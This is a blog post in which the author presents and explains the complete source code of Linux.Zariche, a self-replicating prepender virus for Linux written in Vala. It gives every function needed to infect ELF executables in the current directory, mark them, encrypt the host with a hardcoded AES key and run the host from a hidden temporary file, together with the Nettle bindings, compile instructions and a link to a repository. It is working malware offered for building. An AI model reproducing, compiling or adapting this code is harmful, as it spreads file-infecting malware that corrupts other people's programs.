Linux.Zariche: a Vala virus

9 minute read Published:

Simple prepender virus written in Vala


Vala is an object-oriented programming language with a self-hosting compiler that generates C code and uses the GObject system. Vala is syntactically similar to C# and and rather than being compiled directly to assembly or to another intermediate language, Vala is source-to-source compiled to C, which is then compiled with a platform’s standard C compiler, such as GCC.

You can also create VAPI files which are basically native C (not C++) functions you can import to Vala code (I will show an example later). Being a language that is converted into plain and pure C, Vala code can also run on Windows (with the necessary code optimizations, of course).

Anyway I was decided to write a prepender in this language, the first (binary) virus ever written so far in Vala. It’s named Linux.Zariche and there are two variants available so far.

I will explain parts of the code and then add a download link for the full file below (you can check the GitHub repository too at https://github.com/guitmz/vala-zariche). Shall we start?

The very first thing I’m going to do is to declare my global variables and specify the library I’m using for most of the functions, which is libgee. I’m also importing the native C exit() function as you can see.

using Gee;

uint8[] virbytes;
uint8[] hostbytes;
uint8[] allbytes;
uint8[] tempbytes;
string etag_out;
string etag_outhost;
size_t bytes_written;

extern void exit(int exit_code);

Now let’s take a look at the main function here

    int main(string[] args) {

    int i = 0; //file counter
    bool marked;
    string virName = GLib.Path.get_basename(args[0]); //get virus basename

    var file = File.new_for_path(virName);
    file.load_contents(null, out virbytes, out etag_out); //load virus bytes
    
    int virsize = GetSize(file.get_path());    
    var list = new ArrayList(); //creates a list
    var directory = File.new_for_path("."); //create a variable for the current directory
    var enumerator = directory.enumerate_children(FileAttribute.STANDARD_NAME, 0); //enum by file name

    FileInfo file_info; //file info variable
    while ((file_info = enumerator.next_file()) != null) { //check all the files in folder
        if(isELF(file_info.get_name())) { //if ELF
            list.add(file_info.get_name()); //add to list
            i++; //increase counter
            }
        }

    list.remove(virName); //removes current file from list to prevent issues
    if(i > 0) { //if we have ELF files in folder
        foreach(string s in list) { //for every ELF file in list
            marked = CheckMark(s); //check if is already marked a.k.a. infected
            if(!marked) {
                Infect(s); //if file is not marked, infect
                }
            }
        }

    if(virsize > 38727) { //if current file size is bigger than the virus itself, its an infected file
        RunHost(virName); //so we run only the host code now
    }
    else {
        exit(0); //smell ya later!
    }

    return 0;
}

Nothing fancy here. There are comments in the code but I will briefly explain the core of the virus.

  • 1.0 Loads itself into a variable and gets self size

 string virName = GLib.Path.get_basename(args[0]); //get virus basename
 var file = File.new_for_path(virName);
 file.load_contents(null, out virbytes, out etag_out); //load virus bytes
 int virsize = GetSize(file.get_path());

  • 2.0 Creates a list of all ELF files in the current directory (excluding itself, of course)
var list = new ArrayList(); //creates a list
var directory = File.new_for_path("."); //create a variable for the current directory
var enumerator = directory.enumerate_children(FileAttribute.STANDARD_NAME, 0); //enum by file name
FileInfo file_info; //file info variable
	while ((file_info = enumerator.next_file()) != null) { //check all the files in folder
        	if(isELF(file_info.get_name())) { //if ELF
            		list.add(file_info.get_name()); //add to list
            		i++; //increase counter
            	}
        }
    list.remove(virName); //removes current file from list to prevent issues
  • 2.1 Here’s the function to check if the file is a valid ELF, it reads the magic number of the file to determinate if is what its looking for
bool isELF(string f) {
		uint32 ELF_signature = 0x464c457f; //0x464c457f means ".ELF"
 		var file = File.new_for_path(f); //create the file variable
 		var file_stream = file.read(); //reading the file into a stream
		var data_stream = new DataInputStream(file_stream); //data stream with the data read from file
		data_stream.set_byte_order(DataStreamByteOrder.LITTLE_ENDIAN); //byte order = little endian
		uint32 signature = data_stream.read_uint32(); //defines a signature variable - uint 32bits
		//check if is a valid ELF file by it's signature
		if (signature == ELF_signature) {
			return true; //OMG it's an ELF!
		}
		else
			return false; //dafuq bro, this is no ELF!
	}
  • 3.0 Now its decide which ELF files to process by checking if they are already infected

    if(i > 0) { //if we have ELF files in folder
            foreach(string s in list) { //for every ELF file in list
                marked = CheckMark(s); //check if is already marked a.k.a. infected
                if(!marked) {
                    Infect(s); //if file is not marked, infect
                    }
                }
            }
        if(virsize > 38727) { //if current file size is bigger than the virus itself, its an infected file
            RunHost(virName); //so we run only the host code now
        }
        else {
            exit(0); //smell ya later!
        }

  • 3.0.1 Function to get file size

int GetSize(string f) {
	
	var file = File.new_for_path(f);
	file.load_contents(null, out tempbytes, out etag_outhost); //load host bytes
	Bytes bytes = new Bytes(tempbytes); //load all bytes a.k.a virus + host
	int size = bytes.length; //get full elf size

	return size;
}
  • 3.1 What I’m using to check for the infection mark, thanks again to slek a.k.a. MitterAngel. It goes byte by byte checking for the pattern
bool CheckMark(string f) { //thanks to slek
		uint8[] buf;
		string tag;
 		var file = File.new_for_path(f); //opens file
		file.load_contents (null, out buf, out tag); //loads file into memory and returns a byte array with its content

		Bytes bytes = new Bytes(buf); //create a byte var based in the above array
		size_t size = bytes.get_size(); //get the size of the bytes

		string _mark = "=TMZ="; //infection mark
		for (int x = 1; x < size; ++x)
		{
			if (buf[x] == _mark[0])
	  	      {
        		  int y;
	      	    for (y = 1; y < _mark.length; ++y)
	      	      {
        		      if ((x + y) >= size)
              		      break;
	        	      if (buf[x + y] != _mark[y])
        		      break;
            		    }
	    	    if (y == _mark.length)
        		{
	    	        return true; //infected!
        		}
        	  }
  	  }
   	 return false; //not infected
	}
  • 3.2 The infection routine with AES (the VAPI is available for download below). Creates a new file with virus content + encrypted host content
void Infect(string f) {
		var file = File.new_for_path(f);
		file.load_contents(null, out hostbytes, out etag_outhost); //load host bytes
		FileIOStream ios = file.open_readwrite(); //open host for writting
		FileOutputStream os = ios.output_stream as FileOutputStream; //sets an output stream
		os.seek (0, SeekType.SET); //make sure we are at the beggining of the file
		
		uint8[] key = "abcdefghijklmnop".data; //16bit key
		uint8[] iv = "0123456789101112".data; //16bit iv
		uint8[] hostbytes_aes = aes_enc(key, iv, hostbytes);
		
		os.write_all(virbytes, out bytes_written); //write virus bytes to position 0 (prepender)
		os.write_all(hostbytes_aes, out bytes_written); //write host bytes right after virus ending
}
  • 3.4 AES encryption (Using the Nettle VAPI)
public uint8[] aes_enc(uint8[] key, uint8[] iv, uint8[] data)
	{
		return_if_fail(iv.length == Nettle.AES_BLOCK_SIZE);
		
		// nettle overrites the iv, so make a copy
		uint8[] iv_copy = {};
		iv_copy.resize(iv.length);
		Posix.memcpy(iv_copy, iv, iv.length);
		
		var encrypt_part = data.length / Nettle.AES_BLOCK_SIZE;
		encrypt_part *= Nettle.AES_BLOCK_SIZE;
		
		var aes = Nettle.AES();
		aes.set_encrypt_key(key.length, key);
		uint8[] result = {};
		result.resize(data.length);

		Nettle.cbc_encrypt(&aes, aes.encrypt, Nettle.AES_BLOCK_SIZE, iv_copy, encrypt_part, result, data);
		
		if (encrypt_part != data.length)
			Posix.memcpy(&result[encrypt_part], &data[encrypt_part], data.length - encrypt_part);
		
		return result;
	}
  • 3.5 Running the host: it will read the host bytes and create a hidden file (semi random name to avoid problems) with its content. Later it will run the dropped host file, waiting for it to finish to return to the virus execution
void RunHost(string current) {

  		int random = Random.int_range(1, 100);
		string hostbytes = ".hostbytes" + random.to_string(); //hidden file with random pattern in name
  		var host = File.new_for_path(hostbytes); //create empty hidden hostfile
  		var host_created = host.create(FileCreateFlags.NONE);
  		var infected_file = File.new_for_path(current); //get contents of whole file (virus + host)
  		infected_file.load_contents (null, out allbytes, out etag_out);
		
		FileStream stream = FileStream.open(infected_file.get_path(), "r"); //open current file stream
  		assert(stream != null);
  		int sizeall = GetSize(infected_file.get_path());
  		int hostsize = sizeall - 38727; //host size must be the full elf size - 11111 (virus size)
  		stream.seek(38727, FileSeek.SET); //set stream to the begin of the host bytes
  		
		// load content:
  		uint8[] buf_aes = new uint8[hostsize]; //read host content into a byte buffer
  		size_t read = stream.read(buf_aes, 1);
  		assert (hostsize == read); //keep reading byte per byte until it finishes the entire file
  		uint8[] key = "abcdefghijklmnop".data;
  		uint8[] iv = "0123456789101112".data;
  		uint8[] buf = aes_dec(key, iv, buf_aes);
  		
		var dos = new DataOutputStream(host_created); //write buffer to new file with only the host code 
  		dos.write_all(buf, out bytes_written);
  		stream.flush(); // make sure data is written to our file
  		dos.close();
  		
		GLib.FileUtils.chmod(hostbytes, 0755); //give the host file exec permission
  		try {
    		Process.spawn_command_line_async("./" + hostbytes); //run the host and waits for it to finish
  		} 
  		catch (SpawnError e) {
    		stderr.printf ("%s\n", e.message); //there is no room for errors here!
    		}
  		try {
    		host.delete (); //delete the hidden host file after its execution
  		}
  		catch (Error e) {
    		stdout.printf ("Error: %s\n", e.message);
  		}
	}
  • 3.6 AES decryption

public uint8[] aes_dec(uint8[] key, uint8[] iv, uint8[] data)
	{
		return_if_fail(iv.length == Nettle.AES_BLOCK_SIZE);
		
		// nettle overrites the iv, so make a copy
		uint8[] iv_copy = {};
		iv_copy.resize(iv.length);
		Posix.memcpy(iv_copy, iv, iv.length);
		
		var decrypt_part = data.length / Nettle.AES_BLOCK_SIZE;
		decrypt_part *= Nettle.AES_BLOCK_SIZE;
		
		var aes = Nettle.AES();
		aes.set_decrypt_key(key.length, key);
		uint8[] result = {};
		result.resize(data.length);

		Nettle.cbc_decrypt(&aes, aes.decrypt, Nettle.AES_BLOCK_SIZE, iv_copy, decrypt_part, result, data);
		
		if (decrypt_part != data.length)
			Posix.memcpy(&result[decrypt_part], &data[decrypt_part], data.length - decrypt_part);
		
		return result;
	}

That was it, function by function. Now the Nettle VAPI library for AES, here it is

namespace Nettle
{
	[CCode (has_target = false)]
	public delegate void CryptFunc(void* ctx, uint length, uint8* dst, uint8* src);
	
	[CCode (cname = "struct aes_ctx", cprefix = "aes_", cheader_filename = "nettle/aes.h")]
	public struct AES
	{
		public void set_encrypt_key(uint length, uint8* key);
		public void set_decrypt_key(uint length, uint8* key);
		public void invert_key(AES *src);
		public void encrypt(uint length, uint8* dst, uint8* src);
		public void decrypt(uint length, uint8* dst, uint8* src);
	}
	
	[CCode (cname = "cbc_encrypt", cheader_filename = "nettle/cbc.h")]
	public void cbc_encrypt(void* ctx, CryptFunc f, uint block_size, uint8* iv, uint length, uint8* dst, uint8* src);

	[CCode (cname = "cbc_decrypt", cheader_filename = "nettle/cbc.h")]
	public void cbc_decrypt(void* ctx, CryptFunc f, uint block_size, uint8* iv, uint length, uint8* dst, uint8* src);
	
	[CCode (cname = "AES_BLOCK_SIZE", cheader_filename = "nettle/aes.h")]
	public const int AES_BLOCK_SIZE;
}

Compilation instructions are the following (tested on a x86_64 system, but should work on x86):

valac filename.vala –pkg=gee-1.0 –pkg=gio-2.0 –pkg=nettle –pkg=posix

Where Vala >= 0.20. In order to use the –pkg=nettle flag, place your nettle.vapi file inside Vala’s library folder, usually something like /usr/share/vala-0.20/vapi for example.

Download links:

TMZ